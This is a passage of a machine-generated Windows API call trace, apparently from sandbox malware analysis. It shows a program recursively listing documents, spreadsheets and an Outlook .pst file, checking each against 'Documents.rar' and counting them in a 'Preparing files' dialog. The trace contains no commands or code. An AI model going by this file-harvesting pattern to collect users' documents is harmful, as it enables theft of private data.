lpFileName="Outlook Files\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="asdfasdf@rrrrv.com.pst", cchCount2=-1) returned 3 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4a) returned 0x330a60 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.717] GetLastError () returned 0x12 [0053.717] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.717] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.717] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="payrmo-.docx", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x219f850 [0053.717] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Pkijc OVe1YF8QnT.xlsx", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x3ab550 [0053.717] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="PonYvH9js.docx", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x219f880 [0053.717] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="PQcpfPJA3.pptx", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1e) returned 0x219f8b0 [0053.717] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="qdf-_fT", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10) returned 0x397720 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3adc30 [0053.717] FindFirstFileW (in: lpFileName="qdf-_fT\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="JqbhJrWJOhGgC.doc", cchCount2=-1) returned 1 [0053.717] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x34) returned 0x3ab590 [0053.717] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="nwePxLPwZrM _B2.ppt", cchCount2=-1) returned 1 [0053.718] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x38) returned 0x3ab5d0 [0053.718] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.718] GetLastError () returned 0x12 [0053.718] FindClose (in: hFindFile=0x330a00 | out: hFindFile=0x330a00) returned 1 [0053.718] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3adc30 | out: hHeap=0x2e0000) returned 1 [0053.718] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="QVNqG4sHjJKiemivuPP.docx", cchCount2=-1) returned 1 [0053.718] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.718] GetLastError () returned 0x12 [0053.718] SetLastError (dwErrCode=0x12) [0053.718] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.718] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.718] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="42 files found") returned 14 [0053.718] SetWindowTextW (hWnd=0x1027e, lpString="56 files found") returned 1 [0053.718] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.718] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.718] GetTickCount () returned 0xa644b0 [0053.718] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 0 [0053.718] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.718] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x32) returned 0x3ab610 [0053.718] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="rONkvDPUqOyiM9A qv.xlsx", cchCount2=-1) returned 1 [0053.718] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab650 [0053.718] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Rr-L433.pptx", cchCount2=-1) returned 1 [0053.718] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x219f8e0 [0053.718] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="s6aMY83d27.xlsx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x219f910 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="slFg55xQ.pptx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1c) returned 0x219f940 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="sZysAGTn.xlsx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1c) returned 0x219f970 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="s_UnG.docx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x16) returned 0x397740 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="t8SaG24LSbJT7XFl.pptx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2c) returned 0x3ab690 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="TM7LU.pptx", cchCount2=-1) returned 1 [0053.719] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3ac120, Size=0x2dc0) returned 0x3ac120 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x16) returned 0x397760 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="wIOu8U.xlsx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x18) returned 0x397780 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="wnB9v0ottRO9k3_.pptx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2a) returned 0x3ab6d0 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="WPnyp7euOOTod.docx", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x26) returned 0x219f9a0 [0053.719] FindNextFileW (in: hFindFile=0x3309a0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XRS5ksD", cchCount2=-1) returned 1 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x10) returned 0x3977a0 [0053.719] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3aeef0 [0053.719] FindFirstFileW (in: lpFileName="XRS5ksD\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330a00 [0053.720] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="8quW", cchCount2=-1) returned 3 [0053.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1a) returned 0x219f9d0 [0053.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3b0f20 [0053.720] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330ac0 [0053.720] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="2d1Kv.xlsx", cchCount2=-1) returned 3 [0053.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3ab750 [0053.720] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="bwEoB.ods", cchCount2=-1) returned 3 [0053.720] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x2e) returned 0x3ab790 [0053.720] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="DmJHZllsIDAO 6.csv", cchCount2=-1) returned 3 [0053.720] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.720] GetLastError () returned 0x0 [0053.720] SetLastError (dwErrCode=0x0) [0053.720] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.720] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.720] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="56 files found") returned 14 [0053.720] SetWindowTextW (hWnd=0x1027e, lpString="70 files found") returned 1 [0053.720] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.721] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.721] GetTickCount () returned 0xa644b0 [0053.721] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 0 [0053.721] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x40) returned 0x39d640 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="geTVB4WtFHycydi mP.pptx", cchCount2=-1) returned 1 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4a) returned 0x330b20 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="hoT7s0jqF34TpSdFkEG.ppt", cchCount2=-1) returned 1 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4a) returned 0x330b80 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.721] GetLastError () returned 0x12 [0053.721] FindClose (in: hFindFile=0x330ac0 | out: hFindFile=0x330ac0) returned 1 [0053.721] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b0f20 | out: hHeap=0x2e0000) returned 1 [0053.721] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="BZEpulzPesbCLsb0", cchCount2=-1) returned 3 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x32) returned 0x3ab7d0 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3b0f20 [0053.721] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330ac0 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="0L7s8edhd_6mnq.ppt", cchCount2=-1) returned 3 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x58) returned 0x330be0 [0053.721] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="2t61b", cchCount2=-1) returned 3 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x3e) returned 0x39d690 [0053.721] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3b2f50 [0053.721] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330c40 [0053.721] FindNextFileW (in: hFindFile=0x330c40, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.721] FindNextFileW (in: hFindFile=0x330c40, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jBnkdFwHfylWaZ6YaRt.ods", cchCount2=-1) returned 1 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6e) returned 0x3992c0 [0053.722] FindNextFileW (in: hFindFile=0x330c40, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.722] GetLastError () returned 0x12 [0053.722] FindClose (in: hFindFile=0x330c40 | out: hFindFile=0x330c40) returned 1 [0053.722] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b2f50 | out: hHeap=0x2e0000) returned 1 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="4bPCYUxUkyRXz1a.odt", cchCount2=-1) returned 3 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5a) returned 0x3a0990 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="4fPI cdQ5b.csv", cchCount2=-1) returned 3 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x50) returned 0x330c40 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Cyhav4m7LPhUY.odt", cchCount2=-1) returned 3 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x56) returned 0x330ca0 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Ey3s.xlsx", cchCount2=-1) returned 1 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x46) returned 0x39d6e0 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="T4drjs69aH-eO2f3M.xlsx", cchCount2=-1) returned 1 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0a00 [0053.722] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.722] GetLastError () returned 0x12 [0053.722] FindClose (in: hFindFile=0x330ac0 | out: hFindFile=0x330ac0) returned 1 [0053.722] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b0f20 | out: hHeap=0x2e0000) returned 1 [0053.722] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jRXwpLVqeVbMwn-9J", cchCount2=-1) returned 1 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x34) returned 0x3ab850 [0053.722] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3b0f20 [0053.722] FindFirstFileW (in: lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330ac0 [0053.723] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.723] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="8BCPb3BzgmrIOA5.csv", cchCount2=-1) returned 3 [0053.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5c) returned 0x3a0a70 [0053.723] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="O0Hib.csv", cchCount2=-1) returned 1 [0053.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x48) returned 0x39d730 [0053.723] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="VpyteSPe2.ppt", cchCount2=-1) returned 1 [0053.723] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x50) returned 0x3b2f80 [0053.723] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0 [0053.723] GetLastError () returned 0x12 [0053.723] FindClose (in: hFindFile=0x330ac0 | out: hFindFile=0x330ac0) returned 1 [0053.723] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b0f20 | out: hHeap=0x2e0000) returned 1 [0053.723] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.723] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="NnHAm7cjtqLnMEvQK_S.xlsx", cchCount2=-1) returned 1 [0053.723] LoadStringW (in: hInstance=0x13f160000, uID=0x37a, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0053.723] GetLastError () returned 0x12 [0053.723] SetLastError (dwErrCode=0x12) [0053.723] GetWindowTextW (in: hWnd=0x10278, lpString=0x1c48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0053.723] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0053.723] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1c3450, nMaxCount=2560 | out: lpString="70 files found") returned 14 [0053.723] SetWindowTextW (hWnd=0x1027e, lpString="83 files found") returned 1 [0053.723] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0053.723] GetWindowTextW (in: hWnd=0x10280, lpString=0x1c3450, nMaxCount=2560 | out: lpString="") returned 0 [0053.723] GetTickCount () returned 0xa644b0 [0053.724] PeekMessageW (in: lpMsg=0x1c4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1c4c40) returned 0 [0053.724] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x42) returned 0x39d780 [0053.724] FindNextFileW (in: hFindFile=0x330a00, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="tiCKnWYQXORSFs05KwkK", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x3a) returned 0x39d7d0 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x1010) returned 0x3b0f20 [0053.724] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\*", lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 0x330ac0 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="2J0TC8BES4f8Vy_7 a7O.csv", cchCount2=-1) returned 3 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6c) returned 0x399340 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="fcVw7y.csv", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x50) returned 0x3b2fe0 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="MoqtBms5meoe1w.rtf", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3a0ae0 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="PHjFMjnQ02ATkGOZl.pps", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x66) returned 0x3a0b50 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="PJuyGmzhd Ku-a_pm.pps", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x66) returned 0x3a0bc0 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: lpFindFileData=0x1c3270) returned 1 [0053.724] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="SwMu.rtf", cchCount2=-1) returned 1 [0053.724] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4c) returned 0x3b3040 [0053.724] FindNextFileW (in: hFindFile=0x330ac0, lpFindFileData=0x1c3270 | out: 